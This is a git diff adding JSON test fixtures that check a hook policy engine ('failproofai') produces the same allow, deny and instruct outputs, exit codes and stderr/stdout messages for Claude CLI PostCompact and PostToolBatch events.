b/__tests__/parity/fixtures/claude/PostCompact/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PostCompact/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/PostCompact/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..2772d917 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostCompact/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PostCompact/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/PostCompact/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..f8b8ffbe --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostCompact/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PostCompact/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/PostCompact/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..448b8c33 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostCompact/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PostCompact/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/PostCompact/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..e53af649 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostCompact/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PostCompact/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/PostCompact/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..aa31cccc --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostCompact/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PostCompact/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/PostCompact/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..f6d74983 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostCompact/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PostCompact/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/PostCompact/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..0aaeaa7e --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostCompact/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PostCompact/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/PostCompact/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..bcb673eb --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostCompact/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PostCompact/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/PostCompact/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..69623f42 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostCompact/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PostCompact/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/PostCompact/deny__tool-present__one-policy.json new file mode 100644 index 00000000..d557aac9 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostCompact/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PostCompact/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/PostCompact/deny__tool-present__two-policies.json new file mode 100644 index 00000000..84bac5c8 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostCompact/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PostCompact/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/PostCompact/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..2af0a4ba --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostCompact/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PostCompact/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/PostCompact/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..15bb1e57 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostCompact/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PostCompact/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/PostCompact/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..6cadafdb --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostCompact/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PostCompact/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/PostCompact/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..43ca30dd --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostCompact/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PostToolBatch/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/PostToolBatch/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..1c9a8225 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolBatch/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PostToolBatch/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/PostToolBatch/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..d5a2eb49 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolBatch/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PostToolBatch/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/PostToolBatch/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..8ac6a229 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolBatch/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PostToolBatch/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/PostToolBatch/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..a862c3e2 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolBatch/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PostToolBatch/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/PostToolBatch/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..c4ba3b0c --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolBatch/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", 